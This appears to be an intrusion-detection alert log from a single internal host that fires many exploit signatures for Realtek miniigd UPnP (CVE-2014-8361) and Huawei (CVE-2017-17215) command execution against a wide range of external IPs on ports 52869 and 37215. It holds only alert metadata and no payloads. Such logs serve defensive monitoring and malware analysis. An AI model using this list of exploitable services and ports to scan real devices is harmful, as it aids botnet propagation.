ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 211.211.25.32

Timestamp:	07/20/24-23:02:48.156942
SID:	2025132
Source Port:	41054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.158.218.166

Timestamp:	07/20/24-23:01:24.752424
SID:	2025132
Source Port:	52414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.151.113.249

Timestamp:	07/20/24-23:01:42.939520
SID:	2025132
Source Port:	50552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.77.166.224

Timestamp:	07/20/24-23:01:48.083998
SID:	2025132
Source Port:	36126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.170.40.38

Timestamp:	07/20/24-23:01:52.380418
SID:	2027339
Source Port:	35076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.103.205

Timestamp:	07/20/24-23:01:14.111381
SID:	2835222
Source Port:	35496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.112.106.138

Timestamp:	07/20/24-23:02:30.172034
SID:	2831300
Source Port:	38216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.13.19.125

Timestamp:	07/20/24-23:00:59.194576
SID:	2835222
Source Port:	37398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.148.163

Timestamp:	07/20/24-23:01:24.886284
SID:	2829579
Source Port:	59416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.112.20.112

Timestamp:	07/20/24-23:01:47.610546
SID:	2027339
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.247.179.245

Timestamp:	07/20/24-23:01:31.328066
SID:	2831300
Source Port:	56348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.64.8.64

Timestamp:	07/20/24-23:01:40.301143
SID:	2829579
Source Port:	40256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.153.158.217

Timestamp:	07/20/24-23:02:07.236630
SID:	2027339
Source Port:	37638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.56.125.219

Timestamp:	07/20/24-23:01:49.116780
SID:	2027339
Source Port:	34822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.79.183.3

Timestamp:	07/20/24-23:01:07.022763
SID:	2829579
Source Port:	44248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.92.73.201

Timestamp:	07/20/24-23:01:50.131564
SID:	2025132
Source Port:	40240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.223.82.19

Timestamp:	07/20/24-23:02:48.447183
SID:	2027339
Source Port:	45040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.116.47.253

Timestamp:	07/20/24-23:01:58.821906
SID:	2025132
Source Port:	51208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.133.252.53

Timestamp:	07/20/24-23:01:47.541928
SID:	2025132
Source Port:	34978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.140.13.200

Timestamp:	07/20/24-23:01:42.574571
SID:	2027339
Source Port:	49190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.88.251.194

Timestamp:	07/20/24-23:02:26.420170
SID:	2027339
Source Port:	44598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.75.221.250

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	42714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.170.42.160

Timestamp:	07/20/24-23:01:43.206219
SID:	2027339
Source Port:	54166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.206.219.37

Timestamp:	07/20/24-23:02:06.453402
SID:	2027339
Source Port:	34724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 52.121.181.216

Timestamp:	07/20/24-23:01:45.214052
SID:	2831300
Source Port:	49210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.154.214.30

Timestamp:	07/20/24-23:02:02.570955
SID:	2025132
Source Port:	60414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.216.241.103

Timestamp:	07/20/24-23:01:45.116897
SID:	2831300
Source Port:	38352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.172.247.72

Timestamp:	07/20/24-23:01:08.615260
SID:	2027339
Source Port:	52816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.120.225.224

Timestamp:	07/20/24-23:01:11.631134
SID:	2835222
Source Port:	33872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.202.120.94

Timestamp:	07/20/24-23:01:42.758824
SID:	2027339
Source Port:	45004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.227.205.159

Timestamp:	07/20/24-23:01:44.280820
SID:	2027339
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.184.6.19

Timestamp:	07/20/24-23:01:43.642551
SID:	2027339
Source Port:	44568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.15.211.214

Timestamp:	07/20/24-23:01:08.567236
SID:	2027339
Source Port:	59368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.26.245.187

Timestamp:	07/20/24-23:01:44.158709
SID:	2027339
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.70.135.245

Timestamp:	07/20/24-23:01:57.695259
SID:	2027339
Source Port:	53234
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.20.16.241

Timestamp:	07/20/24-23:01:57.872971
SID:	2025132
Source Port:	35896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.53.90.124

Timestamp:	07/20/24-23:01:07.016889
SID:	2835222
Source Port:	46684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.164.253.202

Timestamp:	07/20/24-23:01:24.567513
SID:	2027339
Source Port:	35712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 135.203.61.14

Timestamp:	07/20/24-23:01:27.664887
SID:	2829579
Source Port:	51748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.71.121.153

Timestamp:	07/20/24-23:01:51.943792
SID:	2025132
Source Port:	41816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.69.50.199

Timestamp:	07/20/24-23:02:01.526784
SID:	2027339
Source Port:	48998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 222.125.116.173

Timestamp:	07/20/24-23:01:54.702517
SID:	2025132
Source Port:	42148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.173.89.17

Timestamp:	07/20/24-23:01:42.365783
SID:	2831300
Source Port:	60722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.74.163.138

Timestamp:	07/20/24-23:01:54.787983
SID:	2027339
Source Port:	41556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.191.4.143

Timestamp:	07/20/24-23:01:59.137101
SID:	2027339
Source Port:	60448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 65.192.188.21

Timestamp:	07/20/24-23:01:04.053604
SID:	2835222
Source Port:	37496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.217.46.13

Timestamp:	07/20/24-23:01:31.978141
SID:	2835222
Source Port:	55614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 46.119.183.52

Timestamp:	07/20/24-23:02:12.248256
SID:	2025132
Source Port:	58000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.123.40.207

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	46924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.78.155.76

Timestamp:	07/20/24-23:01:42.745085
SID:	2027339
Source Port:	47378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.216.107.76

Timestamp:	07/20/24-23:01:43.199406
SID:	2025132
Source Port:	43286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 100.0.247.159

Timestamp:	07/20/24-23:01:41.229799
SID:	2025132
Source Port:	59514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.163.2

Timestamp:	07/20/24-23:01:34.044417
SID:	2829579
Source Port:	38864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.157.152.232

Timestamp:	07/20/24-23:01:44.318262
SID:	2025132
Source Port:	57020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.174.164.32

Timestamp:	07/20/24-23:01:42.985320
SID:	2027339
Source Port:	52730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.119.173.106

Timestamp:	07/20/24-23:01:51.949637
SID:	2025132
Source Port:	55394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.55.184.24

Timestamp:	07/20/24-23:01:56.091033
SID:	2027339
Source Port:	55710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.97.7.185

Timestamp:	07/20/24-23:01:44.428891
SID:	2831300
Source Port:	52146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.48.180.48

Timestamp:	07/20/24-23:01:46.556921
SID:	2027339
Source Port:	56592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 181.219.175.178

Timestamp:	07/20/24-23:01:02.854348
SID:	2025132
Source Port:	42622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.212.28.22

Timestamp:	07/20/24-23:01:24.885849
SID:	2835222
Source Port:	40988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.71.4

Timestamp:	07/20/24-23:01:07.066373
SID:	2829579
Source Port:	60054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.131.224.39

Timestamp:	07/20/24-23:01:55.536863
SID:	2027339
Source Port:	48960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.123.163.220

Timestamp:	07/20/24-23:01:34.046616
SID:	2829579
Source Port:	60340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.130.124.117

Timestamp:	07/20/24-23:01:45.350108
SID:	2027339
Source Port:	34098
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.97.65

Timestamp:	07/20/24-23:01:21.951298
SID:	2835222
Source Port:	55046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.137.181.188

Timestamp:	07/20/24-23:02:00.234228
SID:	2027339
Source Port:	50240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.144.159.228

Timestamp:	07/20/24-23:01:08.600114
SID:	2831300
Source Port:	44382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.148.56.97

Timestamp:	07/20/24-23:01:56.900987
SID:	2027339
Source Port:	46180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.150.164.6

Timestamp:	07/20/24-23:01:54.177524
SID:	2025132
Source Port:	32964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.175.250

Timestamp:	07/20/24-23:01:04.118165
SID:	2829579
Source Port:	34972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.138.76.79

Timestamp:	07/20/24-23:01:44.325773
SID:	2027339
Source Port:	43672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.148.56.97

Timestamp:	07/20/24-23:01:54.787983
SID:	2027339
Source Port:	47580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.50.46.65

Timestamp:	07/20/24-23:01:00.634292
SID:	2835222
Source Port:	51646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.77.1.115

Timestamp:	07/20/24-23:01:44.175702
SID:	2027339
Source Port:	57266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.142.168.90

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	50504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.200.16.247

Timestamp:	07/20/24-23:01:25.044669
SID:	2027339
Source Port:	39594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.45.9.49

Timestamp:	07/20/24-23:01:07.075937
SID:	2829579
Source Port:	47294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.216.67

Timestamp:	07/20/24-23:01:20.110861
SID:	2835222
Source Port:	44180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.174.150.26

Timestamp:	07/20/24-23:00:59.191389
SID:	2835222
Source Port:	50398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 161.85.99.11

Timestamp:	07/20/24-23:01:40.290003
SID:	2829579
Source Port:	59616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.201.201.44

Timestamp:	07/20/24-23:01:53.269588
SID:	2831300
Source Port:	54980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.88.74.46

Timestamp:	07/20/24-23:01:46.552279
SID:	2025132
Source Port:	48718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.59.133.184

Timestamp:	07/20/24-23:01:56.845732
SID:	2831300
Source Port:	36454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.154.58

Timestamp:	07/20/24-23:01:02.083467
SID:	2835222
Source Port:	60660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.219.50.159

Timestamp:	07/20/24-23:01:42.719940
SID:	2027339
Source Port:	50692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.248.72.169

Timestamp:	07/20/24-23:01:43.028316
SID:	2027339
Source Port:	34818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.33.49.156

Timestamp:	07/20/24-23:01:45.697846
SID:	2831300
Source Port:	58184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.96.161.223

Timestamp:	07/20/24-23:01:46.773722
SID:	2027339
Source Port:	36020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.128.52.113

Timestamp:	07/20/24-23:01:31.313163
SID:	2027339
Source Port:	39906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 95.85.24.175

Timestamp:	07/20/24-23:01:44.104536
SID:	2025132
Source Port:	34962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.44.53

Timestamp:	07/20/24-23:01:27.651332
SID:	2829579
Source Port:	55470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.205.109.96

Timestamp:	07/20/24-23:01:42.466150
SID:	2025132
Source Port:	54924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.76.85

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	57860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.142.97.135

Timestamp:	07/20/24-23:01:31.325694
SID:	2027339
Source Port:	37036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.18.140.250

Timestamp:	07/20/24-23:01:57.099838
SID:	2831300
Source Port:	41820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 88.239.244.206

Timestamp:	07/20/24-23:01:57.847364
SID:	2831300
Source Port:	42466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.242.116.26

Timestamp:	07/20/24-23:01:47.995636
SID:	2831300
Source Port:	52914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.166.85.150

Timestamp:	07/20/24-23:00:57.221220
SID:	2835222
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

